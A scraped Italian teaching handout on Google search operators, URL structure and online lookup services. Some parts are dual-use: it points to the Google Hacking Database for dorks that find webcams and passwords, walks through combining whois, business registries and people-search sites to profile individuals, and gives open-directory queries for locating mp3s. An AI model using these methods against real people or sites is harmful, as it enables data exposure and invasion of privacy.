i primi operatori - hackerbridge...

124
1 RICERCHE CON GOOGLE Termini utili Query: Una parola, frase o un gruppo di parole, meglio se combinata con altra sintassi, utilizzata per istruire un motore di ricerca o directory affinché individui pagine Web. Keyword: Parola facente parte di un interrogazione (query) ad un motore di ri- cerca, serve a identificare l'argomento al quale le pagine Web trovate dovrebbero attenersi. I primi operatori Scelta delle keyword La scelta delle keyword è fondamentale. Tenete a mente questi piccoli consigli quando fate una ricerca: Come prima cosa provate con le keyword ovvie. Se cercate informazioni su Pi- casso usate [Picasso], non [pittori]. Pensate a quali parole potrebbero essere sulla pagina che cercate. [Hotel Firenze] darà risultati più rilevanti di [un bel posto dove trascorrere il fine settimana]. Non strutturate le vostre query sotto forma di domanda: è più probabile che tro- viate una pagina che contenga la domanda piuttosto che la risposta che cercate. Ad esempio, la seguente query [dove posso fare domanda per ottenere un visto per l'egitto], non vi sarà utile quanto questa query [domanda richiesta visto egit- to]. Cercate di essere il più specifici possibile. [automobili modellino ferrari] vi sarà di più aiuto di [vecchi giocattoli]. Se la ricerca non da i risultati sperati provate a cercare dei sinonimi delle ke- yword che state usando. Cercate di pensare a una frase che potrebbe comparire sulla pagina e inseritela proprio come la potreste trovare. Ad esempio per cercare il titolo di una canzone che ho sentito in radio dico a Google di cercare tutte le parole che ho sentito in radio e aggiungo la keyword "lyrics" (che in inglese significa "testo" riferito a una canzone). Se siete bloccati con le keyword, potete utilizzare questo Google Sets, un servi- zio che vi aiuta a costruire gruppi di oggetti con proprietà comuni. Ad esempio per dare aria ad una ricerca sulle arti marziali potete inserire keyword come kara- te, judo, jiu-jitsu, kung fu e kendo e Google vi restituirà una lista di arti marziali con cui potrete sviluppare il vostro lavoro. AND La prima cosa da imparare è che l'operatore AND è automatico in Google. In al- tre parole lui cercherà tutte le parole che voi inserite. In effetti Google farà di

Upload: others

Post on 22-Aug-2020

2 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

1

RICERCHE CON GOOGLE

Termini utili

Query: Una parola, frase o un gruppo di parole, meglio se combinata con altra sintassi, utilizzata per istruire un motore di ricerca o directory affinché individui pagine Web.

Keyword: Parola facente parte di un interrogazione (query) ad un motore di ri-cerca, serve a identificare l'argomento al quale le pagine Web trovate dovrebbero attenersi. I primi operatori

Scelta delle keyword La scelta delle keyword è fondamentale. Tenete a mente questi piccoli consigli quando fate una ricerca: Come prima cosa provate con le keyword ovvie. Se cercate informazioni su Pi-casso usate [Picasso], non [pittori]. Pensate a quali parole potrebbero essere sulla pagina che cercate. [Hotel Firenze] darà risultati più rilevanti di [un bel posto dove trascorrere il fine settimana]. Non strutturate le vostre query sotto forma di domanda: è più probabile che tro-viate una pagina che contenga la domanda piuttosto che la risposta che cercate. Ad esempio, la seguente query [dove posso fare domanda per ottenere un visto per l'egitto], non vi sarà utile quanto questa query [domanda richiesta visto egit-to]. Cercate di essere il più specifici possibile. [automobili modellino ferrari] vi sarà di più aiuto di [vecchi giocattoli]. Se la ricerca non da i risultati sperati provate a cercare dei sinonimi delle ke-yword che state usando. Cercate di pensare a una frase che potrebbe comparire sulla pagina e inseritela proprio come la potreste trovare. Ad esempio per cercare il titolo di una canzone che ho sentito in radio dico a Google di cercare tutte le parole che ho sentito in radio e aggiungo la keyword "lyrics" (che in inglese significa "testo" riferito a una canzone). Se siete bloccati con le keyword, potete utilizzare questo Google Sets, un servi-zio che vi aiuta a costruire gruppi di oggetti con proprietà comuni. Ad esempio per dare aria ad una ricerca sulle arti marziali potete inserire keyword come kara-te, judo, jiu-jitsu, kung fu e kendo e Google vi restituirà una lista di arti marziali con cui potrete sviluppare il vostro lavoro. AND La prima cosa da imparare è che l'operatore AND è automatico in Google. In al-tre parole lui cercherà tutte le parole che voi inserite. In effetti Google farà di

Page 2: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

2

più: cercherà tutte le parole da voi inserite dando maggiore importanza a quelle pagine che contengono tutte le parole nell'ordine in cui voi le avete inserite. La query [iraq] da dei risultati ben inferiori (in termini qualitativi, non in termini numero di risultati) alla query [iraq guerra golfo]. Invece la query [iraq guerra golfo] darà gli stessi risultati di [guerra golfo iraq], ma questi ultimi saranno ordinati in modo diverso. Quando effettuate una ricerca è importante cercate di pensare a una frase che po-trebbe essere contenuta nella pagina che cercate e inserire le parole che compon-gono quella frase. Per cercare, ad esempio, il significato di una parola molto specifica a un deter-minato settore che non conosco e che non trovo sui dizionari specializzati, uso una query come segue: [definizione xxx] oppure [glossario xxx]. Dove xxx è il termine che mi interessa. Il mio ragionamento è che una pagina che mi spiega il significato di una parola includerà anche la parola "definizione" o "glossario" . Se avessi inserito solo il termine è molto probabile che avrei ottenuto solo pagine in cui viene utilizzato il termine nel corpo del discorso. Parole comuni Google ignora le parole ed i caratteri comuni, denominati anche "stop words" , scartando automaticamente termini come "http" e ".com" nonché alcune singole cifre e lettere, dal momento che questi termini non aiutano a restringere il campo di ricerca ma anzi contribuiscono a rallentare i tempi di ricerca. È quindi inutile inserire queste parole all'interno di una query. Per Google query come [iraq guerra golfo] e [iraq la guerra golfo] sono equiva-lenti. Vedremo dopo come fare in modo che queste parole vengano cercate lo stesso quando è importante che lo siano. Massimo 10 parole Una query può avere una lunghezza massima di 10 parole. Parole inserite oltre il limite non verranno considerate da Google. Lettere maiuscole/minuscole o accenti Google non fa distinzione tra lettere minuscole e maiuscole poiché considera tut-te le lettere come minuscole. Ad esempio, digitando [google], [GOOGLE] e [GoOgLE] si ottengono sempre gli stessi risultati. Stando alla documentazione ufficiale di Google, "per impostazione predefinita, Google non riconosce accenti o altri segni diacritici. In altre parole, se si digita [Munchen] e [München] si otterranno gli stessi risultati." In realtà provando a fare ricerche per queste due parole si otterranno risultati molto diversi tra di loro. Ancora più strano, è però il fatto che la stessa ricerca,

Page 3: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

3

limitando i risultati a specifiche lingue, da risultati ancora diversi. In caso di ri-cerche importanti è consigliabile provare più modi di scrivere la stessa parola. Ortografia Il correttore ortografico di Google verificherà automaticamente la vostra query per vedere se state utilizzando la versione più comunemente utilizzata per scrive-re una parola. Se calcola che la probabilità di ottenere più risultati con un altro modo di scriverla sia alta vi chiederà se modificare la query. Siccome il correttore ortografico di Google si basa sul numero di ricorrenze di tutte le parole su Internet, Google è in grado di suggerire modi di scrivere la pa-rola che non sono presenti sui dizionari comuni. Alcune persone usano questo sistema per verificare l'ortografia di parole di cui hanno dei dubbi. Se Google suggerirà un altro modo di scrivere la parola inserita, allora ci sono buone probabilità che questa parola sia sbagliata. OR L'operatore OR dice a Google di cercare una keyword oppure l'altra: è indiffe-rente. La query [Hotel Firenze OR Roma] troverà quindi tutti gli hotel di Firenze e Roma anche se le due città non appaiono nella stessa pagina. Apostrofo Cercare [dell'orto] e [dell orto] comporta risultati diversi. Ricerche Booleane e altri operatori Ricerche booleane Google supporta solo un limitato numero di operatori booleani (in realtà si tratta dei soli operatori AND e OR) e anche questi sono supportati piuttosto male. Per cui se siete degli amanti di questo tipo di logica riuscirete a lavorarci poco. Ecco alcuni esempi di ricerche che funzionano su Google: [x AND y] [x OR y] [x AND (y OR z)] [(x OR y) AND (z OR w)] [x AND (y OR z OR w)] [x AND (y OR z) AND w] Preghiamo notare che: l'operatore "OR" dev'essere scritto in maiuscolo l'operatore "AND" può essere omesso le parentesi non servono; sono state incluse qui solo per chiarezza A dimostrazione dell'ultima affermazione portiamo ad esempio questa query che, su Google, non funziona: [(x AND y) OR (z AND q)]

Page 4: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

4

L'operatore "+" Un modo per far sì che anche le parole comuni siano incluse nella ricerca è di an-teporre il segno "+" prima della parola stessa. Ad esempio la query [Guerre Stellari Episodio 1] non cercherebbe il numero "1". Inserendo invece la query nel seguente modo [Guerre Stellari Episodio +1] si ot-tiene il risultato desiderato. Preghiamo notare che c'è uno spazio prima del segno "+", ma NON c'è dopo. Le virgolette

Questo è un altro modo per indicare che tutte le parole vanno incluse nella query. Quindi [Guerre Stellari Episodio +1] e ["Guerre Stellari Episodio 1"] sono equi-valenti. Ma le virgolette sono molto più potenti e dicono a Google di cercare la query e-sattamente come è stata inserita. In altre parole, mentre nel primo caso Google cerca una pagina contenente le quattro keyword dando una rilevanza maggiore alle pagine che hanno le keyword in quest'ordine, nel secondo caso Google cer-cherà esattamente quella frase. Attenzione quindi a non abusare delle virgolette o non otterrete alcun risultato. L'operatore "-"

Il segno "-" prima di una parola ha l'effetto contrario al "+" indicato prima. Un utilizzo classico dell'operatore "-" è per vedere quali siti linkano un determi-nato sito. ["www.pc-facile.com" -site:www.pc-facile.com] Le virgolette indicano che anche ".com" (cioè una parola comune va inclusa nel-la query). Il segno meno invece dice a Google che "www.pc-facile.com" non de-ve essere nel sito www.pc-facile.com, altrimenti i risultati indicherebbero anche tutte le pagine interne del sito www.pc-facile.com, ma che ci siano link interni ad un sito lo sappiamo già. Comodo, no?

Ricerca di radici di parole (stemming) Per garantire la massima precisione nei risultati, Google non supporta la ricerca di radici di parole ("stemming") né le ricerche con caratteri "jolly" (wild card). In altre parole, Google cerca solo le parole esattamente come digitate nel campo di ricerca. Se si inserisce [googl] o [googl*], il risultato non sarà "googler" o "goo-glin". In caso di dubbio, provare ad usare sia il singolare che il plurale; ad esem-pio "linea aerea" e "linee aeree". Da notare che questo è valido per tutte le lingue tranne l'Inglese; lingua che inve-ce supporta lo stemming.

Page 5: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

5

L'operatore "*" I caratteri jolly non funzionano come siamo abituati. Normalmente l'asterisco, e il punto di domanda, sostituiscono uno o più caratteri all'interno di una parola. Ad esempio [port*] troverà "porta", "porte", ma anche "portone" e "portacenere". Google lo interpreta invece in un altro modo, utilizzando l'asterisco come fosse una parola intera. Per trovare quindi "a caval donato non si guarda in bocca", possiamo usare la query [a caval * * * * in bocca]. Come potete vedere si posso-no utilizzare più asterischi all'interno di una query. L'operatore "~" (alt + 126) Mettere "~" prima di una parola dice a Google di cercare anche sinonimi e le pa-role correlate con la parola che precede. Una ricerca per [cervino ~mappa] trove-rà anche pagine che includono le parole "passeggiata", "sentiero" e "bussola". La ricerca dei sinonimi troverà alle volte anche i plurali di una parola e altri va-rianti grammaticali. La ricerca di prima troverà quindi anche "mappe" e "carti-ne". Attenzione: in realtà questo operatore funziona solo su parole contenute nel di-zionario Inglese. Gli esempi qui riportati sono stati presentati solo per chiarezza. Ricerca per categorie La directory Google è uno strumento molto utile per effettuare ricerche limitate su un argomento specifico. Ad esempio, per visualizzare solo risultati relativi al pianeta Saturno, è sufficiente selezionare "Saturno" nella categoria Scienze > A-stronomia della directory Google. In questo modo si evita che vengano visualiz-zati risultati relativi alla macchina Saturn, al gioco omonimo o altri risultati che possano essere correlati al termine Saturno. Le ricerche all'interno di categorie specifiche permettono di restringere il campo di ricerca e di visualizzare rapidamente solo le pagine desiderate. http://directory.google.com/ I punti deboli di Google Nonostante la grande rilevanza dei risultati di Google, anche questo motore ha i suoi limiti. Oltre a quelli già indicati in precedenza aggiungiamo che: Google indicizza solo i primi 101KB di HTML di una pagina e circa i primi 120KB di un documento PDF. Google ha problemi a cercare caratteri speciali come: &, %, #, @, $, £, €, +, -, /, *, =, <, {, [, (, ), ], }, >, :, ;, ! e ? Solitamente ignora questi caratteri, ma sta cominciando a introdurre il supporto

Page 6: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

6

per alcuni come: I/O. Le note in formato anglo-sassone: A_, A#, B_, B#, C_, C#, D_, D#, E_, E#, F_, F#, G_, G#. Si possono usare i caratteri speciali &, + e _ una o più volte nel mezzo o alla fine di uno parola. Ad esempio: A+, a_, C++, net__, page_count, i++++, a&b&c, i&&, "Johnson +& Johnson". Non si può però usare il "+" di fronte ad una parola o numero. Ad esempio +i, "++numero". site: L'operatore site è uno dei più comodi e utili tra gli operatori di Google. È purtroppo abbastanza facile trovare siti il cui search interno non è molto buono per cui cercare qualcosa è un incubo. Una soluzione è quella di usare Google come motore di ricerca. Infatti Google fa talmente bene questo lavoro che adesso offre gratuitamente questo servizio ai siti che lo richiedono. L'operatore "site:" specifica a Google di cercare solo tra le pagine di un determi-nato sito. [guerra golfo iraq site:www.corriere.it] cercherà solo tra le pagine del Corriere della Sera. Attenzione, questo operatore funziona bene su siti che hanno dei grossi archivi che vengono aggiornati raramente e che non dispongono di una funzione di ri-cerca interna adeguata. Siti il cui contenuto cambia velocemente, come ad esem-pio nel caso dei forum, non daranno dei buoni risultati in quanto Google non sarà mai aggiornato quanto il motore di ricerca interno. Questo operatore ha inoltre il vantaggio di trovare documenti male indicizzati da un sito o che non compaiono nel search interno. Addirittura, un documento non più linkato può essere ancora presente negli indici di Google, come pure un do-cumento che è stato cancellato dal proprietario del sito (gli esempi migliori pote-te trovarli sul sito della Microsoft). Cancellare qualcosa, che è stato reso pubblico su Internet, è molto molto diffici-le. Fate sempre attenzione a cosa divulgate: è difficile tornare indietro.

Filetype: esegue la ricerca solamente all'interno di archivi di un specifico tipo.

Questo operatore istruisce Google a percorrere solamente all'interno del testo di un particolare tipo di archivio.

Questo operatore richiede un argomento di ricerca supplementare.

Page 7: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

7

Esempio:

filetype:txt endometriosis

Cerca la parola endometriosis all’interno di file txt. Per una ricerca più comples-sa è possibile utilizzare le virgolette.

Filetype:txt “router switch”

Tipi di estensioni:

� Adobe Portable Document Format (pdf)

� Adobe PostScript (ps)

� Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)

� Lotus WordPro (lwp)

� MacWrite (mw)

� Microsoft Excel (xls) si possono trovare informazioni riservate

� Microsoft PowerPoint (ppt)

� Microsoft Word (doc)

� Microsoft Works (wks, wps, wdb)

� Microsoft Write (wri)

� Rich Text Format (rtf)

� Text (ans, txt)

link: www.nomesito.it elenca tutte le pagine nel web che contengono un link al sito specificato. Dopo i : ci vuole lo spazio.

intitle:cerca all’interno del titolo del documento. Questo operatore istruisce Google a cercare un termine all'interno del ti-tolo di un documento. Questo operatore non richiede altri argomenti di ricerca. Esempio: intitle:gandalf Questa consultazione esporrebbe solamente pagine che hanno contenu-to la parola 'il gandalf' nel titolo. Un derivativo di questo operatore, 'allintitle' si comporta in una maniera simile. Esempio: allintitle:gandalf silmarillion

Page 8: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

8

Questa consultazione trova ambo le parole 'gandalf' e 'silmarillion' nel ti-tolo di una pagina. L’operatore 'allintitle' istruisce Google a trovare solamente ogni parola susseguente nella consultazione nel titolo della pagina. Questo è equiva-lente ad una sequenza di ricerche intitle. Inurl: ricerca all'interno dell'URL di una pagina Questo operatore istruisce Google a percorrere solamente all'interno del-l'URL, o indirizzo di web di un documento. Questo operatore non richie-de altri argomenti di ricerca. Esempio: inurl:amidala Questa consultazione esporrebbe pagine con la parola 'amidala' nell'indi-rizzo di web. Un risultato può essere: http://www.yarwood.org/kell/amidala / contiene la parola 'amidala' come il nome di un elenco. La parola può apparire dovunque all'interno dell’ indirizzo web, incluso il nome del luo-go o il nome di un archivio. Un derivativo di questo operatore è:allinurl lavora in una maniera simile. Esempio: allinurl:amidala gallery Questa consultazione trova ambo le parole 'amidala' e 'gallery' nell'URL di una pagina. Questo è equivalente ad una sequenza di ricerche inurl. Per un elenco completo di operatori avanzati ed il loro uso, vedere http://www.google.com/help/operators.html. Related: La consultazione [related:] elencherà le pagine web che sono "simili" ad una pagina web specificata. Per esempio, [rela-ted:www.google.com] elencherà pagine web che sono simili al Google homepage. Notare che non ci deve essere nessuno spazio tra il "related: " e l'url della pagina web. Questa funzione è anche accessibile cliccando sulle "Pagine Simili" del collegamento sulla pagina di risultati principale di Google, e dalla pagina di Ricerca Avanzata, o pagine simili.

Ext: indica a Google di cercare un file con un'estensione particolare (co-me filetype:

Page 9: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

9

Page 10: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

10

Google oltre ogni limite: non solo ricerca Calcolatrice scientifica: inserendo la stringa 2+4*18/9+3 google restituisce 2 + ((4 * 18) / 9) + 3 = 13 Si possono usare anche operatori matematici, trigonometrici, logaritmici e co-stanti. Convertitore unità di misura: inserendo 37 Km in cm otteniamo 37 kilometers = 3 700 000 centimeters Si può convertire anche tra unità di misura di paesi diversi esempio: 80 m in yards restituisce 80 meters = 87.4890639 yards

Sfogliare libri su internet: è possibile consultare libri , manuali e testi diretta-mente on-line basta collegarsi al sito: http://print.google.com inserire la parola chiave e cliccare su Search Print. Nella schermata successiva compaiono i libri che trattano l’argomento: buona lettura. Trucco: se da www.google.it clicchiamo su google.com in English e scriviamo books abouts seguito dal titolo del libro, se è disponibile nell’archivio di google print, viene restituita un’icona del libro. Trattati scientifici e tesi: http://scholar.google.com Stringhe per ricerche: collegarsi al sito http://johnny.ihackstuff.com e consulta-re GHDB(Google Hacking Database) all’interno del quale si trovano stringhe di ricerca di webcam, password ecc. Ciascuno di noi lascia una traccia, soprattutto se naviga in rete.E chi non lo fa? Per non parlare degli efficienti servizi che rendonola vita di tutti più comoda, più sicura, più completa e agevole. Non ci vuole molto a verificare un nome nelle pagine bianche( www.paginebianche.it ). Un colpo di clic e otto volte su dieci abbiamo I'indirizzo, il telefono e spesso il tipo di atti-vità della persona cercata. Ovunque in Italia. Come, l’attività, la ragione sociale s'intende, della piccola società da lui fondata. In fondo il nostro paese è ricco di piccole e medie imprese: Che appaiono ovviamente ben catalogate sotto lo stesso nome. Perché nelle società di persone la ragione sociale contiene obbligatoriamente anche il nome del principale proprietario: Ma.non sempre è cosi facile. A chi sarà intestata la srl a cui dovrei pagare l'affitto? Chi è l'amministratore delegato? Non ho particolari elementi. Ma la cerco sulle pagine gialle ( www.paginegialle.it ) che a volte contiene anche l’E-mail . Prendo nota del dominio [email protected]. Anzi,provo immediatamente a digita-re nel browser www.dominio.it e poi anche .com. Nel novanta percento dei casi

Page 11: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

11

hanno almeno una paginetta sul web. E nèl novanta percento dei casi pubblicano più informazioni di quante sarebbero necessarie. Annoto i'indirizzo e lo inserisco su www.viamichelin.com per una mappa della zona. Un saltopresso il RIPE ( www.ripe.net ) e gli dò in pasto il nome di dominio. Voilà. Come nel novanta per cento dei casi si trova il nome dell’amministratore delegato, il suo telefono, l’indirizzo e tante informazioni utili. Prendo il nome e chiamo il sito della camera di commercio ( www.infoimprese.it ) Due clic e leg-go perfino l'estratto dello Statuto. Grandioso. Non mi avevano mai detto di avere un'attività primaria di import/export. Torno un attimo sul sito, magari trovo la lista delle referenze di qualche cliente. Eccola.Ne prendo uno che sembra citato più volte, forse per loro e importante. Chi e? Un giro su www.tools-net.com e con lo stesso trucco già visto ho le info del mister che ha registrato il dominio. Provo a verificarne qualche caratteristica. Avrai pu-re,qualche volta, utilizzato ICQ ... provo www.freeonIinepeoplesearches.com/emai.htm Tombola! E' uno di quelli che in rete ha lasciato tutto: recapito, interessi. RICERCHE :STRINGERE IL CERCHIO

Servizi per sapere tutto di tutti:

http://www.chekdomain.com whois per conoscere I'intestatario, la nazio-nalità,la città, la residenza, i numeri telefonicie i nominativi dei responsa-bili tecnici legati a un dominio Internet, Utile a completare i dati ottenuti da un risolutore di nomi di dominio o un tracer di indirizzi IP

Sicuramente da integrare con il database europeo http://www.ripe.net Proviamo a cercare jcmaxwell.it Domain: jcmaxwell.it Status: ACTIVE Created: 2001-05-03 00:00:00 Last Update: 2010-05-19 00:04:23 Expire Date: 2011-05-03 Registrant Name: ITIS J C MAXWELL Organization: ITIS J C MAXWELL ContactID: ITIS156-ITNIC Address: Via XXV Aprile n 141 Nichelino 10042 TO

Page 12: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

12

IT Created: 2007-03-01 10:59:51 Last Update: 2007-03-01 10:59:51 Admin Contact Name: Maria Antonietta Campetti ContactID: MAC122-ITNIC Address: Via XXV Aprile n 141 Nichelino 10042 TO IT Created: 2001-05-03 00:00:00 Last Update: 2007-03-01 07:38:17 Technical Contacts Name: Maria Antonietta Campetti ContactID: MAC122-ITNIC Address: Via XXV Aprile n 141 Nichelino 10042 TO IT Created: 2001-05-03 00:00:00 Last Update: 2007-03-01 07:38:17 Registrar Organization: Aruba s.p.a. Name: ARUBA-MNT Nameservers dns.technorail.com dns2.technorail.com %%REFERRAL END http://www.utrace.de/ informazioni IP o sito, whois e mappa dove è situato

http://www.antifraud.com/ipcheck.htm : inserendo il nome del dominio o l’IP si ottengono informazioni interessanti. http://tools-on.net/ Un notevole insieme di servizi tra cui whois e molto al-tro, compresi alcuni elenchi di anonimizers. hrtp://www.infoimprese.it Tutto quello che vi può servire conoscere di u-n'impresa italiana. Per verificare I'esistenza,la posizione e l'indirizzo di una società(snc, sas, srl, spa). Verifica partita

IVA, data di inizio attività, l'esistenza di eventuali sedi secondarie, l'attività dettagliata,i siti internet, gli indirizzi email, i numeri telefonici, il codice I-STAT, la ragione sociale esatta, le attivitd principali e secondarie e così via.

Page 13: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

13

http://www.agenziaentrate.it/servizi/vies/vies.htm verificate dal numero del-la partita Iva i'esistenza di una società, in tutta europa. http://planetsearch.com Un motore multiricerca.Avete solo una labile trac-cia? Iniziate da qui. http://virgilio.it/servizi/computer/020.html : indirizzi e-mail e servizio dedi-cato

http://coordinamento.mininterno.it/servpub/ver2/principale.htm targhe ruba-te,banconote false,documenti smarriti o rubati ecc http://www.planetsearch.com/ per ricerche sui metamotori di tutto il mondo http://www.staggernation.com/ per ricerche accurate e mirate Draghi di google: trucchi per trovare a colpo sicuro

a) Google accetta una ricerca lunga al massimo 10 parole b) Il segno – esclude una parola dalla ricerca mentre il + forza una ricerca c) Query: stringa di interrogazione al motore di ricerca

d) * è considerato come wildcard per una parola qualunque, stranamente non è conteggiato

e) intitle: cercare all’interno dei titoli degli articoli citati in google, si mette all’inizio della query

f) site: cerca una parola nel sito es: sciopero site:corriere.it

MP3: senza passare da p2p

Google ha delle incredibili capacità di ricerca che molto spesso sottovalutiamo. Eppure,con qualche suggerimento, possiamo esplorare dei mondi che nemmeno immaginiamo,fatti di link, siti e file dove trovare esattamente quello che ci inte-ressa. Naturalmente, lo diciamo subito per evitare problemi: la recponsabilith di quello che faremo è personale. Noi non sappiamo a cosa porterà la ricerca che potremo fare.Quindi, per esempio, se tra tanti file mp3 offerti dagli stessi autori e libera-mente utilizzabiline troviamo anche altri coperti da copyright,attenzione, non scaricarli si infrange la stessa legge che riguarda i dirit-ti d'autore e che ci impedisce, tramite p2p, di scambiare e scaricare qualunque fi-le che non sia libero o di nostra proprietà. Viceversa,tramite Google, nessuno potrà mai accusarci di mettere on line file scaricati e protetti, come invece avviene in au-tomatico con quasi tutti

Page 14: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

14

i programmi p2p: sarebbe un reato che in Italia è punito ancora piu severamente. Nel web i modi di archiviare i file mp3 sono moltissimi. Se riusciamo a immagi-narci come impostare Google per restringere la ricerca esclusivamente a quello che ci interessa. Esempio: “index of” + intitle:mp3 + beatles inserita nella finestra di ricerca pos-siamo trovare, in formato mp3, i brani dei Beatles. “ìndex of” titolo che normalmente si dà alla directory contenente i file. intitle:mp3 la parola scelta (mp3) deve essere contenuta nei nomi del file beatles rappresenta la stringa di cosa realmente ci interessa Al posto di “index of” si può anche utilizzare : “last modified” o “parent of” Per stringere la ricerca possiamo utilizzare il segno – escludendo quindi per e-sempio –html –htm –php e –asp estensioni che non ci riguardano. Es: inurl:(htm/html/php) intitle:”index of” +”parent directory” +description +size +(wma/mp3) ”cantante” ovviamente al posto di cantante il nome o il gruppo. Un metodo generale: stringa directory + tipo file + nome mp3 + esclusioni

Stringa directory: “index of” “last modifield” “parent of” Tipo file: mp3 shn(shorten:file compresso) wma(Windows media audio) Nome mp3: nome dell’album, dell’artista, ecc. naturalmente tra “ “ Esclusioni: -html –htm –php –asp –txt –pls (col segno meno) Inurl: per cercare dentro gli url -filetype:txt per eliminare alcuni falsi positivi -playlist per eliminare alcuni falsi positivi

Che cos'è e come è fatto un URL? Come visto, per poter recuperare un qualsiasi oggetto posto in rete è necessario conoscere: Dove è situato (ossia il nome della macchina, il percorso sull'hard disk della macchina e il nome del file); Con che protocollo esso può essere recuperato. Per racchiudere in un unico "indirizzo" tutte queste informazioni è stato creato uno schema detto URL (Uniform Resource Locator, ossia Localizzatore Unifor-me di Risorse). Un URL assume normalmente la forma seguente: metodo://nomemacchina:porta/nomeoggetto

dove il metodo (di accesso alla risorsa, anche detto schema) può valere solita-

mente http, ftp, telnet, news, mailto o file a seconda del protocollo che si

deve utilizzare; il nomemacchina è il nome (letterale o IP) del computer su cui

si trova l'oggetto; la porta (solitamente sottintesa, nel qual caso si assume un va-lore standard che varia a seconda del protocollo scelto) è il numero della porta

Page 15: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

15

con cui si intende comunicare con la macchina (argomento tecnico che potete al momento tralasciare); il nomeoggetto è il nome completo (percorso e nome del file) dell'oggetto. Anche qui, non preoccupatevi se non avete afferrato subito tutto: nel resto del capitolo troverete vari esempi di URL, e comunque la pratica vi sarà di grande aiuto. La stragrande maggioranza delle macchine collegate alla rete - almeno, quelle su cui vengono realizzati gli ipertesti, gli archivi di software... - sono grossi calcola-tori che funzionano con il sistema operativo Unix; pertanto i nomeoggetto se-guono per definizione (e anche quando la macchina a cui ci si collega è un PC) le convenzioni dello Unix, e non, ad esempio, dell'MS-DOS. Nella pratica, questo significa alcune cose importanti da tenere a mente: Le barre che compaiono negli URL sono diritte (cioè / ) e non rovesciate ( \ ) come quelle dell'MS-DOS! Mentre per quanto riguarda il metodo e il nomemacchina non c'è differenza tra maiuscole e minuscole (sebbene comunemente si usino solo minuscole), per quanto riguarda il nomeoggetto la differenza c'è: scrivere i nomi dei file o del-le directory in maiuscolo, in minuscolo, o con l'iniziale maiuscola e il resto mi-nuscolo fa differenza, e può impedirvi di recuperare l'oggetto! In realtà, lo schema dell'URL varia leggermente a seconda del protocollo scelto, per cui può essere utile esaminare alcuni esempi: http://www.cl.ais.net/mkurth/atsfaq.html Questo indirizzo corrisponde all'ipertesto atsfaq.html (gli ipertesti sono indivi-

duati dall'estensione .html o .htm) posto nella directory mkurth situata nella

directory radice (root) del computer www.cl.ais.net (ossia, il computer www

situato nel sottoinsieme cl del sottoinsieme ais del dominio net), da trasferire seguendo il protocollo HTTP. http://www.polito.it/~bertola/ Questo indirizzo, simile al precedente, presenta però alcuni aspetti particolari. Per prima cosa, vi è indicato un percorso (/~bertola/) ma non un nome di file;

in questo caso, e solo per il protocollo HTTP, viene sottinteso il nome di file in-dex.html (notare l'estensione di quattro caratteri: nello Unix non c'è la limita-zione a tre caratteri!); se questo file c'è, esso viene letto come ipertesto (vista la sua estensione .html, che indica appunto un ipertesto); se questo file non vi fos-se, a seconda della configurazione del sito, viene presentato un elenco dei file contenuti nella directory indicata e l'utente può sceglierne uno, o viene restituito un messaggio d'errore. Va inoltre notato il carattere speciale ~ (se non l'avete sulla tastiera del vostro PC, potete realizzarlo tenendo premuto il tasto Alt sinistro, digitando il numero

126 sul tastierino numerico, e quindi rilasciando Alt). Esso indica che il nome seguente è il nome di un "utente" del computer, e non un normale percorso sul-

Page 16: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

16

l'hard disk. Di fatto, la scrittura /~bertola/ è un altro modo per indicare la

directory public_html (è un nome convenzionale, che significa "ipertesti pub-

blici"!) posta all'interno dell'area dell'utente bertola. Per farla breve, indirizzi contenenti ~ corrispondono solitamente a pagine scritte da singoli utenti nel pro-prio tempo libero (home page), mentre gli indirizzi senza ~ si riferiscono solita-mente a pagine ufficiali dell'ente o dell'azienda possessori del computer. Si noti infine la barra ( / ) finale: con molti browser non è necessaria, ma è utile abituarsi a metterla in quanto indica e permette di sapere immediatamente che l'ultimo nome scritto prima (nel nostro caso, ~bertola) rappresenta una directory e non un file. ftp://ftp.coast.net/SimTel/win3/sysutil/3dk24.zip
